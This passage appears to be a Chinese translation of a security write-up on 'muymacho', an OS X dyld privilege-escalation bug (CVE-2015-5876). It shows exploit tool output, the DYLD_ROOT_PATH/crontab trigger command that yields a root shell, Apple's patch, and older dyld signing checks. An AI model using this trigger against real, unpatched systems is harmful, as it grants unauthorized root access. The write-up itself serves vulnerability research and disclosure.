[+] creating macho file: /Users/user/tmp/usr/lib/dyld_sim    LC_SEGMENT_64: segment 0x00    vm_addr: 0x7ffe6ec1d000    LC_SEGMENT_64: segment 0x01    vm_addr: 0x7ffe6dc1d000    LC_SEGMENT_64: segment 0x02    vm_addr: 0x7ffe6cc1d000    LC_SEGMENT_64: segment 0x03    vm_addr: 0x7ffe6bc1d000    LC_SEGMENT_64: segment 0x04    vm_addr: 0x7ffe6ac1d000    LC_SEGMENT_64: segment 0x05    vm_addr: 0x7ffe69c1d000    LC_SEGMENT_64: segment 0x06    vm_addr: 0x7ffe68c1d000    LC_SEGMENT_64: segment 0x07    vm_addr: 0x7ffe67c1d000    LC_SEGMENT_64: segment 0x08    vm_addr: 0x7ffe66c1d000    LC_SEGMENT_64: segment 0x09    vm_addr: 0x7ffe65c1d000    LC_SEGMENT_64: segment 0x0a    vm_addr: 0x7ffe64c1d000    LC_SEGMENT_64: segment 0x0b    vm_addr: 0x7ffe63c1d000    LC_SEGMENT_64: segment 0x0c    vm_addr: 0x7ffe62c1d000    LC_SEGMENT_64: segment 0x0d    vm_addr: 0x7ffe61c1d000    LC_SEGMENT_64: segment 0x0e    vm_addr: 0x7ffe60c1d000    LC_SEGMENT_64: segment 0x0f    vm_addr: 0x7ffe5fc1d000    LC_SEGMENT_64: segment 0x10    vm_addr: 0x7ffe5ec1d000    LC_SEGMENT_64: segment 0x11    vm_addr: 0x7ffe5dc1d000    LC_SEGMENT_64: segment 0x12    vm_addr: 0x7ffe5cc1d000    LC_SEGMENT_64: segment 0x13    vm_addr: 0x7ffe5bc1d000    LC_SEGMENT_64: segment 0x14    vm_addr: 0x7ffe5ac1d000    LC_SEGMENT_64: segment 0x15    vm_addr: 0x7ffe59c1d000    LC_SEGMENT_64: segment 0x16    vm_addr: 0x7ffe58c1d000    LC_SEGMENT_64: segment 0x17    vm_addr: 0x7ffe57c1d000    LC_SEGMENT_64: segment 0x18    vm_addr: 0x7ffe56c1d000    LC_SEGMENT_64: segment 0x19    vm_addr: 0x7ffe55c1d000    LC_SEGMENT_64: segment 0x1a    vm_addr: 0x7ffe54c1d000    LC_SEGMENT_64: segment 0x1b    vm_addr: 0x7ffe53c1d000    LC_SEGMENT_64: segment 0x1c    vm_addr: 0x7ffe52c1d000    LC_SEGMENT_64: segment 0x1d    vm_addr: 0x7ffe51c1d000    LC_SEGMENT_64: segment 0x1e    vm_addr: 0x7ffe50c1d000    LC_SEGMENT_64: segment 0x1f    vm_addr: 0x7ffe4fc1d000
[+] building payload
[+] dyld_sim successfully created
To exploit enter:  DYLD_ROOT_PATH=/Users/user/tmp crontab
[email protected]:~/tmp$ DYLD_ROOT_PATH=/Users/user/tmp crontab
bash-3.2#

0x0A 補丁


EI Capitan對dyld做了很多修改。特別是對dyld_sim檔案驗證更加嚴格,修補了muymacho使用的漏洞。幾種不同的檢查保證了連續的segment都擁有正常的fileoff和vmaddr值。

在本文寫作時,蘋果還沒有釋出EI Capitan的原始碼。但是一些修改可以透過IDA pro來檢視。

0x0B 總結


本節總結了本文的大部分內容。我們已經討論漏洞的發現,問題分析,直到利用。完整的利用程式分享在github

我希望本文能夠對你有用。這是個有趣的bug,我非常享受編寫muymacho的過程。

謝謝所有修訂本文的人(Pete Markowsky, Ian Melven, Josha Bronson)。同時謝謝@i0n1c釋出的挑戰,是它導致本漏洞的發現。

除錯shellcode

有時候我很好奇到底是哪一個segment在利用執行的過程中起到了作用,面對不同的ASLR地址。實際上,真實的地址也不是那麼重要。但我還是加入了一段debug shellcode來將資訊返回給使用者。

debug shellcode透過“-d”引數來開啟。在muymacho返回‘#’符號後,輸入

#!bash
echo "$MUYMACHO"

可以隨意的看看muymacho的除錯debug shellcode。除錯資訊是透過execve呼叫一個環境變數來傳遞的。

0x0C 附錄


10.10.4及更早

Mac OS X 10.10.4和之前版本就已經新增了DYLD_ROOT_PATH變數。本節討論一下這個老版本的變數和10.10.5的更新。OS X 10.10.4使用dyld-353.2.1裡的dyld.cpp

在早前的useSimulatorDyld()函式中,有一個檢查dyld_sim是否被root所有擁有。

#!c
// verify simulator dyld file is owned by root
   struct stat sb;
   if ( fstat(fd, &sb) == -1 )
      return 0;
   if ( sb.st_uid != 0 )
      return 0;

透過對程式碼段的檢視,發現程式碼簽名的要求是可選的。所以唯一的要求就是一個被root使用者擁有的,沒有簽名都行的dyld_sim檔案,這當然不會形成阻礙。useSimulatorDyld()將會載入和執行這樣的檔案。

10.10.5更新

10.10.5更新修補了DYLD_PRINT_FILE漏洞(CVE-2015-3760)。可能由於這個變數漏洞被發現的原因,同時也對useSimulatorDyld()函式進行了修改。

dyld_sim不需要再被root擁有,但是程式碼簽名變為了強制要求。下面是dyld.cpp的部分程式碼。

#!c
int result = fcntl(fd, F_ADDFILESIGS_FOR_DYLD_SIM, &siginfo);
   if ( result == -1 ) {
      dyld::log("fcntl(F_ADDFILESIGS_FOR_DYLD_SIM) failed with errno=%d\n", errno);
      return 0;
   }

一個新的fcntl命令被加入到10.10.5,針對dyld_sim。下面的程式碼來自/usr/include/sys/fcntl.h

#!c
#define F_ADDFILESIGS_FOR_DYLD_SIM 83   /* Add signature from same file, only if it is signed by Apple (used by dyld for simulator) */    

dyld_sim需要一個蘋果的數字簽名,僅僅一個開發者證照是不夠的。(譯者注:由於在數字簽名之前就取得了控制權,所以不會進行驗證就到shellcode了)

0x0D CVE號


關於本漏洞的CVE號是這樣的,EI Capitan安全升級列表列出了以下bug資訊。授予了beist

Dev Tools

Available for: Mac OS X v10.6.8 and later

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A memory corruption issue existed in dyld. This was addressed through improved memory handling.

CVE-ID

CVE-2015-5876 : beist of grayhash

同樣的CVE也被列入了iOS 9watchOS 2的升級資訊中。對iOS 8.4.1中的dyld進行了一個粗略的檢查,沒有發現和muymacho一樣的漏洞。也許是我搞錯了,如果有我會更新到本文。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章